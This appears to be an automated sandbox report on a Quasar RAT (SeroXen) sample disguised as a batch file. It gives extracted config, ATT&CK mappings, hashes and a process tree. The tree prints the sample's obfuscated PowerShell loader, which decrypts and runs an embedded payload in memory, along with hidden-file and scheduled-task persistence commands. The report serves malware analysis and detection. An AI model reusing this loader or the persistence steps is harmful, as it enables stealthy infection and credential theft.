quasar | 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b

Analysis

user interaction
yes
max time kernel
29s
max time network
27s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
28/05/2026, 02:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 10.1MB
Sample260528-dd219aes7k
SHA256 3af5f9e385e259a669eacaa2c66850b127bad6aebdf0776ee8083d1de27c557b
MD5 3b93e29d6cf2813f5dd3c9ae380acc4f
SHA1 98cf06eb797a3ad94dc9fb44ae758fcbab1e0c53
SHA512 4b830a87f277816fb86de435787f7c7b6083d7bd9d8ad88f10086c9fc6a8a7c205145d7b2d23eddd91f7ef9d440684b3d3bfb96a66ca13d86dca86cef3b82a1e
SSDEEP 49152:s6f3cj3cw0fch3L6wcNWcw0flyOoRCKzGKzXbCzsK+RXzodzXbCakBUAfVweb6TU:2
TLSH
T12BB6123E4E278D3F87BC23AC35BC0B8A79589A144376489E27A45DCE9FC770620D6C56
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

seroxen defense_evasion discovery execution quasar persistence spyware stealer trojan

Malware Config

Extracted

Family

quasar

Version

15.5.0

Botnet

SeroXen

127.0.0.1:1414

Mutex

43778e33-6e95-4120-85f8-de7b6beca9a7

Attributes

encryption_key
1DB1C75433B0814D6A687DC846553894FE0103F0
install_name
$sxr-cmd.bat
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
log_directory
$Sxr-logs
reconnect_delay
3000
startup_key
$sxr-seroxen
subdirectory
$sxr-seroxen1

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/692-42-0x00000160310A0000-0x00000160313F0000-memory.dmp	family_quasar

Drops startup file 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	attrib.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs	Uni.bat.exe

Executes dropped EXE 1 IoCs

pid	Process
692	Uni.bat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery	attrib.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\Setup\Scripts\SetupComplete.cmd	Uni.bat.exe
File opened for modification	C:\Windows\Setup\Scripts	attrib.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Setup\Scripts\SetupComplete.cmd	attrib.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3280	PING.EXE
5440	PING.EXE
5388	PING.EXE

Runs net.exe

Runs ping.exe 1 TTPs 3 IoCs

Remote System Discovery

T1018

pid	Process
5388	PING.EXE
3280	PING.EXE
5440	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3872	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1788	powershell.exe
1788	powershell.exe
692	Uni.bat.exe
692	Uni.bat.exe
3636	powershell.exe
3636	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1788	powershell.exe
Token: SeDebugPrivilege	692	Uni.bat.exe
Token: SeTakeOwnershipPrivilege	2860	reagentc.exe
Token: SeDebugPrivilege	3636	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
692	Uni.bat.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 4472 wrote to memory of 1788	4472	cmd.exe	84
PID 1788 wrote to memory of 4892	1788	powershell.exe	85
PID 4892 wrote to memory of 4804	4892	csc.exe	86
PID 4472 wrote to memory of 5388	4472	cmd.exe	87
PID 4472 wrote to memory of 3280	4472	cmd.exe	88
PID 4472 wrote to memory of 4200	4472	cmd.exe	89
PID 4200 wrote to memory of 2672	4200	net.exe	90
PID 4472 wrote to memory of 692	4472	cmd.exe	91
PID 692 wrote to memory of 3596	692	Uni.bat.exe	92
PID 692 wrote to memory of 3472	692	Uni.bat.exe	93
PID 692 wrote to memory of 6112	692	Uni.bat.exe	95
PID 692 wrote to memory of 5172	692	Uni.bat.exe	97
PID 692 wrote to memory of 5076	692	Uni.bat.exe	99
PID 692 wrote to memory of 1900	692	Uni.bat.exe	100
PID 692 wrote to memory of 2100	692	Uni.bat.exe	103
PID 692 wrote to memory of 6092	692	Uni.bat.exe	104
PID 692 wrote to memory of 1180	692	Uni.bat.exe	107
PID 692 wrote to memory of 1912	692	Uni.bat.exe	108
PID 692 wrote to memory of 1228	692	Uni.bat.exe	111
PID 692 wrote to memory of 4376	692	Uni.bat.exe	113
PID 692 wrote to memory of 4444	692	Uni.bat.exe	115
PID 692 wrote to memory of 4116	692	Uni.bat.exe	117
PID 692 wrote to memory of 2860	692	Uni.bat.exe	119
PID 692 wrote to memory of 3872	692	Uni.bat.exe	121
PID 692 wrote to memory of 3464	692	Uni.bat.exe	122
PID 692 wrote to memory of 5452	692	Uni.bat.exe	125
PID 692 wrote to memory of 2200	692	Uni.bat.exe	127
PID 692 wrote to memory of 3460	692	Uni.bat.exe	129
PID 3636 wrote to memory of 688	3636	powershell.exe	133
PID 688 wrote to memory of 5340	688	csc.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 16 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5172	attrib.exe
1900	attrib.exe
2100	attrib.exe
4376	attrib.exe
4116	attrib.exe
3464	attrib.exe
5452	attrib.exe
5076	attrib.exe
6092	attrib.exe
1912	attrib.exe
2200	attrib.exe
3460	attrib.exe
1228	attrib.exe
3472	attrib.exe
6112	attrib.exe
1180	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\o3u2b100\o3u2b100.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4541.tmp" "c:\Users\Admin\AppData\Local\Temp\o3u2b100\CSC3D3EC55F59634224B4415C852DC92E.TMP"
      4⤵
      PID:4804
- C:\Windows\system32\PING.EXE
  ping -n 14 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5388
- C:\Windows\system32\PING.EXE
  ping -n 2 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:3280
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:2672
- C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
  "Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command try{Add-Type -Namespace _uJorsE -Name _VIhWvL -MemberDefinition '[DllImport("kernel32.dll")]public static extern System.IntPtr GetConsoleWindow();[DllImport("user32.dll")]public static extern bool ShowWindow(System.IntPtr h,int n);' -ErrorAction SilentlyContinue;$__h=[_uJorsE._VIhWvL]::GetConsoleWindow();if($__h -ne [IntPtr]::Zero){[void][_uJorsE._VIhWvL]::ShowWindow($__h,0)}}catch{};$uIEgt = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($WXYbx in $uIEgt) { if ($WXYbx.StartsWith(':: ')) { $Xmaik = $WXYbx.Substring(3); break; }; };$CjCkr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Xmaik);$VaYqP = New-Object System.Security.Cryptography.AesManaged;$VaYqP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$VaYqP.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$VaYqP.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MTSY1UPvMm0w/qUN7w9dICZ8uUJg6r4+mRB4pwDWZQU=');$VaYqP.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gBf+QrLij3B4KrBWAYWMOA==');$btqsa = $VaYqP.CreateDecryptor();$CjCkr = $btqsa.TransformFinalBlock($CjCkr, 0, $CjCkr.Length);$btqsa.Dispose();$VaYqP.Dispose();$oAmpW = New-Object System.IO.MemoryStream(, $CjCkr);$OMmGs = New-Object System.IO.MemoryStream;$dKvjz = New-Object System.IO.Compression.GZipStream($oAmpW, [IO.Compression.CompressionMode]::Decompress);$dKvjz.CopyTo($OMmGs);$dKvjz.Dispose();$oAmpW.Dispose();$OMmGs.Dispose();$CjCkr = $OMmGs.ToArray();$nxurD = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($CjCkr);$Okseb = $nxurD.EntryPoint;$Okseb.Invoke($null, (, [string[]] ('')))
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:692
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\c33ml1ai\c33ml1ai.cmdline"
    3⤵
    PID:3596
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:3472
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:6112
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:5172
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"
    3⤵
    - Views/modifies file attributes
    PID:5076
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts"
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:1900
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\Setup\Scripts\SetupComplete.cmd"
    3⤵
    - Drops file in Windows directory
    - Views/modifies file attributes
    PID:2100
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:6092
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1\$sxr-cmd.bat"
    3⤵
    - Views/modifies file attributes
    PID:1180
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts"
    3⤵
    - Views/modifies file attributes
    PID:1912
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "F:\Windows\Setup\Scripts\SetupComplete.cmd"
    3⤵
    - Views/modifies file attributes
    PID:1228
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:4376
- - C:\Windows\system32\reagentc.exe
    "C:\Windows\system32\reagentc.exe" /info
    3⤵
    - Drops file in Windows directory
    PID:4444
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:4116
- - C:\Windows\system32\reagentc.exe
    "C:\Windows\system32\reagentc.exe" /enable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    PID:2860
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /TN "Microsoft\Windows\$Sxr-recovery\ResetNotify" /TR "C:\Recovery\OEM\$Sxr-reset\SetupComplete.cmd" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3872
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$Sxr-logs"
    3⤵
    - Views/modifies file attributes
    PID:3464
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\$sxr-seroxen1"
    3⤵
    - Views/modifies file attributes
    PID:5452
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Windows\System32\Tasks\Microsoft\Windows\$Sxr-recovery"
    3⤵
    - Drops file in System32 directory
    - Views/modifies file attributes
    PID:2200
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +H +S "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs"
    3⤵
    - Drops startup file
    - Views/modifies file attributes
    PID:3460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -noprofile -executionpolicy bypass -EncodedCommand dAByAHkAewBBAGQAZAAtAFQAeQBwAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAXwB1AFAAcABwAHAAVQAgAC0ATgBhAG0AZQAgAF8AcwBSAHMAQwB2AGkAIAAtAE0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAFMAeQBzAHQAZQBtAC4ASQBuAHQAUAB0AHIAIABHAGUAdABDAG8AbgBzAG8AbABlAFcAaQBuAGQAbwB3ACgAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAHUAcwBlAHIAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAYgBvAG8AbAAgAFMAaABvAHcAVwBpAG4AZABvAHcAKABTAHkAcwB0AGUAbQAuAEkAbgB0AFAAdAByACAAaAAsAGkAbgB0ACAAbgApADsAJwA7ACQAXwBfAGgAPQBbAF8AdQBQAHAAcABwAFUALgBfAHMAUgBzAEMAdgBpAF0AOgA6AEcAZQB0AEMAbwBuAHMAbwBsAGUAVwBpAG4AZABvAHcAKAApADsAaQBmACgAJABuAHUAbABsACAALQBuAGUAIAAkAF8AXwBoACAALQBhAG4AZAAgACQAXwBfAGgAIAAtAG4AZQAgAFsASQBuAHQAUAB0AHIAXQA6ADoAWgBlAHIAbwApAHsAWwB2AG8AaQBkAF0AWwBfAHUAUABwAHAAcABVAC4AXwBzAFIAcwBDAHYAaQBdADoAOgBTAGgAbwB3AFcAaQBuAGQAbwB3ACgAJABfAF8AaAAsADAAKQB9AH0AYwBhAHQAYwBoAHsAfQA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\czvqjzbr\czvqjzbr.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:688
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9C7A.tmp" "c:\Users\Admin\AppData\Local\Temp\czvqjzbr\CSC7CA7AF46EA5C43DDAD6072562C067EA.TMP"
    3⤵
    PID:5340

C:\Windows\system32\PING.EXE
ping -n 14 127.0.0.1
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:5440

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
MD5 ed30ca9187bf5593affb3dc9276309a6
SHA1 c63757897a6c43a44102b221fe8dc36355e99359
SHA512 1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810
TLSH
T1C051DA313275A1E4C91A3F47192819C023BF8355FA98AF5CB65C521EE92740B9B222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 df175dfd2519c4f1d84f3f99d1a79fab09e9903b9de0104a1efe7fa2c4d56cc1
MD5 044e731eeeb8b5a5079e911bfa2b7e38
SHA1 0ad39de2b6af41583ea89da8183f6b995c9e26aa
SHA512 9252262a91c46ba8a5e748e493fa65ac52efc0c62df8853ac2108031b2b7509c50e1223a0005dbae365be653663f5dc341093f6227676cfc08e25bc431319ec3
TLSH
T171115723B79DC961CC85453B409DDD6175B2D7C7809EDE9B6FC5C208A07F588CB211A0
MD5 SHA1 SHA512 TLSH

Submit Download

RES4541.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES4541.tmp
Size 1KB
SHA256 e8e43a0c1ec2f2423b13d18e89c1e9d3c91d1b163846f56cc1325376cf8d050e
MD5 1f33a62ce1bf1a713e256543792569aa
SHA1 574a2a006692529befbc4bc7b4aee6be0b2dd234
SHA512 eb6d2fe04c293041360835f41bab7e9211e9b3317b199c11592ee14e21381e24b0e35fba7a6a69a3983690150816f5651ea6170da345aeb747a8748aefac63ee
TLSH
T16D21AB0593E84B1BF077873269F6172FA278FD55EF62579B8940422C2C91504EFA1F72
MD5 SHA1 SHA512 TLSH

Submit Download

RES9C7A.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9C7A.tmp
Size 1KB
SHA256 704dd20bc68c2422d08e9f8b3a11904ef2df6638cc74b810b94de4a265d6560f
MD5 f749d094e59d284587096bf62ac471fd
SHA1 7b0d0bca60f12829b607e63ca38a6ceadd5cb655
SHA512 26376a77b2f2bdadcecfb59ca922caaf32c1caae9ec0e20b2ea0f118d99afa34a2b038dcd2c1fe8cc8fbdb38c08375b57d9952d52f463f390b9a3ae40d95e4db
TLSH
T14F217B0543E8471EF0734B3169F6172BA624FD69EFB2575B844042282C51514EEA0F73
MD5 SHA1 SHA512 TLSH

Submit Download

SXR-debug.txt

Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
Size 391B
SHA256 6322a1d00c318a558a9c6892f45e61c5f3840c486d33be9353c1b461bd4fc685
MD5 ace8b33e0e7ad69426ebcef525c9a322
SHA1 e4ec7c066445ba2e399c58c0f3b1d2747c3e297c
SHA512 120154035d7153865e6c4a9d81323e7821857f847c0eddedccd5fbac360e2860a42988d0ee7cd72e666e697400392c3da4c9cc6e0e0aaf5457825892d0a28995
TLSH
T1B6E02BB6A3F4518AFA5A15D359F061D9D35FB0B1CF9422D8EB4833C8700C40C9158947
MD5 SHA1 SHA512 TLSH

Submit Download

SXR-debug.txt

Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
Size 1KB
SHA256 9f38905a1f9d95104ff8ab964e73780e84cb15127fc3618a2a5e18953981fdd7
MD5 b5c455330e577a0213cba6ee21c8d160
SHA1 988afcfcf47544f755afb021d236698e77da0cbd
SHA512 e14981e2f5677aa97bca6b3c97e4cdcfd282e049985a1dcde00bdb37cdd8a8d18605b86363e79ede15ca016ae9a2622c0a83eb930131683e870be6d00aa4899e
TLSH
T1E4212FA227F591DFA9C6A2931AB4766AB19EE0B0CF44B288EF0477CC340C81C645560B
MD5 SHA1 SHA512 TLSH

Submit Download

SXR-debug.txt

Path C:\Users\Admin\AppData\Local\Temp\SXR-debug.txt
Size 2KB
SHA256 24dc6077e3eadf09b94334c3520947aef7b3787c4f93ad1749002e2c99b95d75
MD5 c8bac9b88255dd7295753d6acf7991e7
SHA1 26d8c4f8d24c66f9db089986698dd30fdc3d75c2
SHA512 fa9b8ac94068fda31fe80414d3c87a9bb420147d3d30fd0d16a53f807913bc90c17c1282780577d022b16b772120043f134e833bbd4383860b4dd7598922cca6
TLSH
T1274176A62BF1519FE586A2630BB46A49B1AEA0B4DF843299EF147B8C340CC18B4C510E
MD5 SHA1 SHA512 TLSH

Submit Download

Uni.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Size 445KB
SHA256 9785001b0dcf755eddb8af294a373c0b87b2498660f724e76c4d53f9c217c7a3
MD5 2e5a8590cf6848968fc23de3fa1e25f1
SHA1 801262e122db6a2e758962896f260b55bbd0136a
SHA512 5c5ca5a497f39b07c7599194512a112b05bba8d9777bee1cb45bf610483edbffff5f9132fee3673e46cf58f2c3ba21af7df13c273a837a565323b82a7b50a4d8
SSDEEP 6144:67/KD0aTTyWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:9D0aTWW2KXzJ4pdd3klnnWosPhnzq
TLSH
T120A45B97A7D432D5EC3AC035C82344520721BC79D791ABDF99D8B2790E712D09E3EA2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ligug2af.12x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ligug2af.12x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

czvqjzbr.dll

Path C:\Users\Admin\AppData\Local\Temp\czvqjzbr\czvqjzbr.dll
Size 3KB
SHA256 fbd56dcceeead85186acc192e23286b928b2bf6c7e4de680e8d793f5eed72f05
MD5 0d625b9617b5aa4ffdaf1225c712571e
SHA1 e90419d32f8762161464b2c24d70c5ec36613bff
SHA512 9f1421edf2d7367ee2f222ded284863c36be42be339353eb08c8158e549e1c29cc2f647c99156650250d0cfe3e50a1620762fb1d04ceb3d7d55a4d97c9432f08
TLSH
T17E51EF1A53E8862BF4770B306EF3472777F4F814AB73571A1980421DACA13549E32BB0
MD5 SHA1 SHA512 TLSH

Submit Download

o3u2b100.dll

Path C:\Users\Admin\AppData\Local\Temp\o3u2b100\o3u2b100.dll
Size 3KB
SHA256 58572d7d42a9bf9cf3eff11d9f5db23fbb6a67793e848ab0cf4667fc990369df
MD5 fea5beb01e317fd954fed8d811b09779
SHA1 f1d69f48d0926b07bb02fa12f782c28cb35aeeb9
SHA512 4d4be5c0efdb387daef7a978edcbb7008edbc2882af9257232da395d4b1f8634e4b1f6ef200674140f4438dc4817f6540833459e9cdc16b458d7ff8afb0d32d6
TLSH
T1D351DD2A93E84627E4674B306EE3432737F8F814AF73535D59904259ACA17549E32BB0
MD5 SHA1 SHA512 TLSH

Submit Download

$sxr-seroxen.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$sxr-seroxen.vbs
Size 659B
SHA256 36cde62b12949933efc4fcbce738eade8a82dbf746c1ee60d4f2de795ec68370
MD5 8049293460648d8208fbb5d4c2b6f501
SHA1 20956e3a3fcb6f52167b79425676a01046b45b2d
